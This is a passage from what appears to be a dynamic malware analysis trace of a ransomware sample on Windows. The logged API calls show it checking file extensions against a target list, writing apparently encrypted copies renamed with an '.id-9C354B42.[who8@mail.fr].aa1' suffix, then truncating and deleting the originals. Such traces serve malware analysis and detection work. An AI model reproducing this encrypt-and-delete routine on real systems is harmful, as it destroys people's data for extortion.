dwFileAttributes=0x20) returned 1 [0212.510] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 1 [0212.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0212.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0212.510] lstrlenW (lpString=".doc") returned 4 [0212.510] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0212.510] lstrlenW (lpString=".docx") returned 5 [0212.510] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0212.510] lstrlenW (lpString=".pdf") returned 4 [0212.510] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0212.510] lstrlenW (lpString=".xls") returned 4 [0212.510] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0212.511] lstrlenW (lpString=".xlsx") returned 5 [0212.511] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0212.511] lstrlenW (lpString=".ppt") returned 4 [0212.511] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0212.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0212.511] lstrlenW (lpString=".zip") returned 4 [0212.511] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0212.511] lstrlenW (lpString=".rar") returned 4 [0212.511] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0212.511] lstrlenW (lpString=".bz2") returned 4 [0212.511] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0212.511] lstrlenW (lpString=".7z") returned 3 [0212.511] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0212.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0212.511] lstrlenW (lpString=".dbf") returned 4 [0212.511] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0212.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0212.511] lstrlenW (lpString=".1cd") returned 4 [0212.511] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0212.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0212.511] lstrlenW (lpString=".jpg") returned 4 [0212.511] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0212.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0212.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0212.511] lstrlenW (lpString=".doc") returned 4 [0212.511] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0212.511] lstrlenW (lpString=".docx") returned 5 [0212.511] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0212.511] lstrlenW (lpString=".pdf") returned 4 [0212.511] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0212.511] lstrlenW (lpString=".xls") returned 4 [0212.512] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0212.512] lstrlenW (lpString=".xlsx") returned 5 [0212.512] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0212.512] lstrlenW (lpString=".ppt") returned 4 [0212.512] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0212.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0212.512] lstrlenW (lpString=".zip") returned 4 [0212.512] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0212.512] lstrlenW (lpString=".rar") returned 4 [0212.512] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0212.512] lstrlenW (lpString=".bz2") returned 4 [0212.512] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0212.512] lstrlenW (lpString=".7z") returned 3 [0212.512] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0212.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0212.512] lstrlenW (lpString=".dbf") returned 4 [0212.512] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0212.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0212.512] lstrlenW (lpString=".1cd") returned 4 [0212.512] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0212.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0212.512] lstrlenW (lpString=".jpg") returned 4 [0212.512] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0212.512] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0212.512] lstrlenW (lpString="PHONE.XML") returned 9 [0212.512] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0212.514] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=1844) returned 1 [0212.514] CloseHandle (hObject=0x1dc) returned 1 [0212.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 0x20 [0212.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0212.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0212.514] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.514] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0212.514] GetLastError () returned 0x0 [0212.514] ReadFile (in: hFile=0x1dc, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x734, lpOverlapped=0x0) returned 1 [0212.562] WriteFile (in: hFile=0x1e4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x740, lpOverlapped=0x0) returned 1 [0213.733] ReadFile (in: hFile=0x1dc, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0213.733] WriteFile (in: hFile=0x1e4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0213.733] SetEndOfFile (hFile=0x1e4) returned 1 [0213.733] CloseHandle (hObject=0x1e4) returned 1 [0213.733] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.733] SetEndOfFile (hFile=0x1dc) returned 1 [0213.734] CloseHandle (hObject=0x1dc) returned 1 [0213.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0213.734] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 1 [0213.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0213.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0213.735] lstrlenW (lpString=".doc") returned 4 [0213.735] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0213.735] lstrlenW (lpString=".docx") returned 5 [0213.735] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0213.735] lstrlenW (lpString=".pdf") returned 4 [0213.735] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0213.735] lstrlenW (lpString=".xls") returned 4 [0213.735] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0213.735] lstrlenW (lpString=".xlsx") returned 5 [0213.735] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0213.735] lstrlenW (lpString=".ppt") returned 4 [0213.735] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0213.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0213.735] lstrlenW (lpString=".zip") returned 4 [0213.735] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0213.735] lstrlenW (lpString=".rar") returned 4 [0213.736] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0213.736] lstrlenW (lpString=".bz2") returned 4 [0213.736] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0213.736] lstrlenW (lpString=".7z") returned 3 [0213.736] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0213.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0213.736] lstrlenW (lpString=".dbf") returned 4 [0213.736] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0213.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0213.736] lstrlenW (lpString=".1cd") returned 4 [0213.736] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0213.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0213.736] lstrlenW (lpString=".jpg") returned 4 [0213.736] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0213.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0213.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0213.736] lstrlenW (lpString=".doc") returned 4 [0213.736] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0213.736] lstrlenW (lpString=".docx") returned 5 [0213.737] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0213.737] lstrlenW (lpString=".pdf") returned 4 [0213.737] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0213.737] lstrlenW (lpString=".xls") returned 4 [0213.737] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0213.737] lstrlenW (lpString=".xlsx") returned 5 [0213.737] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0213.737] lstrlenW (lpString=".ppt") returned 4 [0213.737] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0213.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0213.737] lstrlenW (lpString=".zip") returned 4 [0213.737] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0213.737] lstrlenW (lpString=".rar") returned 4 [0213.737] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0213.737] lstrlenW (lpString=".bz2") returned 4 [0213.737] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0213.737] lstrlenW (lpString=".7z") returned 3 [0213.737] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0213.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0213.737] lstrlenW (lpString=".dbf") returned 4 [0213.738] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0213.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0213.738] lstrlenW (lpString=".1cd") returned 4 [0213.738] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0213.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0213.738] lstrlenW (lpString=".jpg") returned 4 [0213.738] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0213.738] lstrcmpiW (lpString1=".DAT", lpString2=".aa1") returned 1 [0213.738] lstrlenW (lpString="STOCKS.DAT") returned 10 [0213.738] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0213.927] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=39017) returned 1 [0213.927] CloseHandle (hObject=0x1dc) returned 1 [0213.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 0x20 [0213.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0213.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0213.930] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.931] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.931] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0213.931] GetLastError () returned 0x0 [0213.931] ReadFile (in: hFile=0x1dc, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x9869, lpOverlapped=0x0) returned 1 [0213.943] WriteFile (in: hFile=0x1e4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x9870, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x9870, lpOverlapped=0x0) returned 1 [0214.102] ReadFile (in: hFile=0x1dc, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0214.102] WriteFile (in: hFile=0x1e4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0214.103] SetEndOfFile (hFile=0x1e4) returned 1 [0214.103] CloseHandle (hObject=0x1e4) returned 1 [0214.103] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.103] SetEndOfFile (hFile=0x1dc) returned 1 [0214.104] CloseHandle (hObject=0x1dc) returned 1 [0214.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0214.105] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 1 [0214.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0214.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0214.213] lstrlenW (lpString=".doc") returned 4 [0214.213] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0214.213] lstrlenW (lpString=".docx") returned 5 [0214.213] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0214.213] lstrlenW (lpString=".pdf") returned 4 [0214.213] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0214.213] lstrlenW (lpString=".xls") returned 4 [0214.213] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0214.213] lstrlenW (lpString=".xlsx") returned 5 [0214.213] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0214.213] lstrlenW (lpString=".ppt") returned 4 [0214.213] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0214.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0214.214] lstrlenW (lpString=".zip") returned 4 [0214.214] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0214.214] lstrlenW (lpString=".rar") returned 4 [0214.214] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0214.214] lstrlenW (lpString=".bz2") returned 4 [0214.214] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0214.214] lstrlenW (lpString=".7z") returned 3 [0214.214] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0214.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0214.214] lstrlenW (lpString=".dbf") returned 4 [0214.214] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0214.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0214.214] lstrlenW (lpString=".1cd") returned 4 [0214.214] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0214.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0214.214] lstrlenW (lpString=".jpg") returned 4 [0214.214] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0214.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0214.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0214.215] lstrlenW (lpString=".doc") returned 4 [0214.215] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0214.215] lstrlenW (lpString=".docx") returned 5 [0214.215] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0214.215] lstrlenW (lpString=".pdf") returned 4 [0214.215] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0214.215] lstrlenW (lpString=".xls") returned 4 [0214.215] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0214.215] lstrlenW (lpString=".xlsx") returned 5 [0214.215] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0214.215] lstrlenW (lpString=".ppt") returned 4 [0214.215] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0214.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0214.215] lstrlenW (lpString=".zip") returned 4 [0214.215] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0214.215] lstrlenW (lpString=".rar") returned 4 [0214.215] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0214.215] lstrlenW (lpString=".bz2") returned 4 [0214.215] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0214.215] lstrlenW (lpString=".7z") returned 3 [0214.216] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0214.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0214.216] lstrlenW (lpString=".dbf") returned 4 [0214.216] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0214.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0214.216] lstrlenW (lpString=".1cd") returned 4 [0214.216] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0214.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0214.216] lstrlenW (lpString=".jpg") returned 4 [0214.216] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0214.216] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0214.216] lstrlenW (lpString="STOCKS.XML") returned 10 [0214.216] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0214.217] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=2687) returned 1 [0214.217] CloseHandle (hObject=0x1f4) returned 1 [0214.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 0x20 [0214.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0214.217] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0214.217] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.217] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.217] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0214.218] GetLastError () returned 0x0 [0214.218] ReadFile (in: hFile=0x1f4, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0xa7f, lpOverlapped=0x0) returned 1 [0214.298] WriteFile (in: hFile=0x1e4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xa80, lpOverlapped=0x0) returned 1 [0214.502] ReadFile (in: hFile=0x1f4, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0214.502] WriteFile (in: hFile=0x1e4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0214.502] SetEndOfFile (hFile=0x1e4) returned 1 [0214.502] CloseHandle (hObject=0x1e4) returned 1 [0214.508] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.508] SetEndOfFile (hFile=0x1f4) returned 1 [0214.509] CloseHandle (hObject=0x1f4) returned 1 [0214.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart 